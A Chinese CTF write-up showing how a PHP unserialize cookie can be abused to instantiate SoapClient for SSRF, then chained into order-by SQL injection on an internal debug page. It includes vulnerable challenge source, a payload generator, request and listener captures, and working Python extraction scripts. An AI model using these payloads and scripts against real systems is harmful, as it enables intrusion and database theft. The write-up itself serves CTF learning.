soap导致的SSRF

字数 783阅读 873

这是从暨南大学2018校赛的一道CTF题学习到的姿势

适用条件:服务器开了soap服务,允许soap数据的交互,并且有可控的点调用了反序列化,此时可以强行反序列化去调用soapclient类进行SSRF

以题目为例

phpinfo可以看出开了soap,实际渗透测试可以盲测,假设开启,并看到有反序列化特征的参数,可以直接盲测


image.png

这道题还给了index.php和sqldebug.php的部分源码
index.php

<?php

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);

class Auth {
    public $username = '';
    public $login = 0;

    public function verify() {
        return 'FALSE';
    }
}

?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
    <table>
        <tr>
            <td>Username</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>Password</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>Remember me <input type="checkbox" name="rememberme"></td>
            <td><input type="submit" value="Submit"></td>
        </tr>
    </table>
</form>
<p>
<?php

if (isset($_POST['username'])) {
    $auth = new Auth();
    $auth->username = $_POST['username'];
    setcookie('auth', base64_encode(serialize($auth)));
} elseif (isset($_COOKIE['auth'])) {
    $auth = unserialize(base64_decode($_COOKIE['auth']));
}

if (isset($auth)) {
    echo $auth->verify();
}

?>
</p>
</body>
</html>

sqldebug.php

<?php
include_once('db.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('you need to be 127.0.0.1');
}

$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
    die('NONONO!');
}

$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);

$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";

$result = $db->query($sql);
$result = $result->fetch_assoc();
echo $result[COLUMN_USERNAME];

mysqli_close($db);
?>

从源码可以看到sqldebug过滤不严,可以注入
但是$_SERVER['REMOTE_ADDR'] !== '127.0.0.1'无法绕过,只能SSRF
又看到index.php中$auth = unserialize(base64_decode($_COOKIE['auth']));可控
那么我们可以强行调用php中的soapclient类,来进行SSRF

soapclient的调用可以参考文章
https://xz.aliyun.com/t/2148
对soap数据格式的理解可以用参考
https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html
https://www.anquanke.com/post/id/153065
php关于soapclient的参考文档
http://www.php.net/manual/zh/soapclient.soapclient.php
kali安装soap扩展,kali默认php7

apt-get install php-soap
php -m | grep soap

因为题目环境是php5.6,那就kali安装下php5.6

apt-get install apt-transport-https
curl https://packages.sury.org/php/apt.gpg | apt-key add
echo 'deb https://packages.sury.org/php/ stretch main' > /etc/apt/sources.list.d/deb.sury.org.list
apt-get update
apt-get -y install php5.6 libapache2-mod-php5.6 php5.6-mysql php5.6-curl php5.6-gd php5.6-intl php-pear php-imagick php5.6-imap php5.6-mcrypt php-memcache php5.6-pspell php5.6-recode php5.6-sqlite3 php5.6-tidy php5.6-xmlrpc php5.6-xsl php5.6-mbstring php-gettext
apt-get -y install php5.6-soap
php5.6 -m | grep soap

先弹到自己vps,看看soapclient类是否能正常调用
soap.php

<?php
// $location = "http://127.0.0.1:80/sqldebug.php";
$location = 'http://178.128.15.64:2333/';
$a = new SoapClient(null, array('location' => $location ,'uri'  => '123'));

echo serialize($a);
echo "\n";
echo "\n";
$auth=  base64_encode(serialize($a));
echo $auth;
echo "\n";
echo "\n";
?>

运行soap.php

$ php5.6 soap.php

O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:26:"http://178.128.15.64:2333/";s:13:"_soap_version";i:1;}

TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30=

burp的post报文

POST /index.php HTTP/1.1
Host: 35.221.144.41:8084
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://35.221.144.41:8084/index.php
Cookie: auth=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30%3D
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


vps收到的报文

root@ubuntu16:~# nc -lvvv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [35.221.144.41] port 2333 [tcp/*] accepted (family 2, sport 38292)
POST / HTTP/1.1
Host: 178.128.15.64:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.6.37
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#verify"
Content-Length: 369

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:verify/></SOAP-ENV:Body></SOAP-ENV:Envelope>

soapclient类成功被调用,成功访问到vps,然后会因为soapclient类没有verify()方法而导致报错,会默认调用call方法,但是已经不影响我们调用soapclient来进行SSRF


image.png
image.png

这里可惜的点是,soapclient默认是用post,然后在xml中以xml格式来传递post参数,但是我们在SSRF的时候,除非知道服务器wsdl的模板位置以及模板内容,才可以去构造post参数,不然一般只能在$location处对GET参数进行注入等攻击

 $location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23

注意这里的端口是80,而不是8084,因为是docker映射的

注入部分就不细讲了,直接给出脚本

先判断列数,如果union select的列数不对,index.php请求就会Internal Server Error

columns.py

#!/usr/bin/env python3
import requests
import base64
from urllib.parse import quote

url = "http://35.221.144.41:8084/index.php"

tpl = ["1"]

while True:
    done = False
    ssrfurl = "http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=" + ','.join(
        tpl) + "%23"
    serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
        len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
    auth = quote(base64.b64encode(serial.encode()))
    resp = requests.get(url, cookies={'auth': auth})
    print(len(tpl))
    if 'Internal Server Error' not in resp.text:
        # print(resp.text)
        break
    tpl += ["1"]

一共有5列

注入得到flag,exp.py

#!/usr/bin/env python3
import requests
import binascii
import base64
from urllib.parse import quote
import sys

url = "http://35.221.144.41:8084/index.php"

for pos in [0, 2, 3, 4]:
    tpl = ['0', "'<aaa></aaa>'", '0', '0', '0']
    r = []
    done = False
    while not done and len(r) <= 40:
        for c in range(0x19, 0x7F):
            hexstr = bytes(r + [c])
            tpl[pos] = '0x' + binascii.hexlify(hexstr).decode()
            ssrfurl = "http://127.0.0.1/sqldebug.php?uid=" + sys.argv[1] + "'union+select@a:=" + ','.join(
                tpl) + "+order+by+" + str(pos + 1) + "%23"
            # print(ssrfurl)
            serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
                len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
            auth = quote(base64.b64encode(serial.encode()))
            resp = requests.get(url, cookies={'auth': auth})
            if 'got no XML document' in resp.text:
                if 0x19 == c:
                    done = True
                else:
                    r += [c - 1]
                break
        print(pos+1, bytes(r))
image.png
image.png

通过测试,uid=2对应的几个列分别是

COLUMN_ID = '2'(第1列)
COLUMN_xxx = ''(第2列,为空)
COLUMN_xxx = '99' (第3列)
COLUMN_PASSWORD = 'FLAG{UN10N_S313CT_0RD3R_13Y}'(第4列)
COLUMN_USERNAME = 'ADMIN@DEMO.COM'(第5列)

order by 注入的原理可以看我这篇文章
https://www.jianshu.com/p/83d07d5c3af8

大致原理是select出一个字符串,再去order by 一个字段
由于后端只会显示第一列,所以数据库会按照这两个字符串的大小来排序
至于排序的规则是从左到右逐位比较ascii码的大小,所以可以从左到右逐位遍历,最终得到该字段的值

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x2f,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x30,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x31,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x32,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x33,'<aaa></aaa>',0,0,0+order+by+1%23
1 b'2'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3937,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3938,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3939,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x393a,0,0+order+by+3%23
3 b'99'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304c,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304d,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304e,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304f,0+order+by+4%23
4 b'FLAG{UN10N'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444b+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444c+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444d+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444e+order+by+5%23
5 b'ADM'

最后深大信安协会的师弟师妹们,给暨大友情测试了一波,tql
欢迎外校的师傅们多交流~

image.png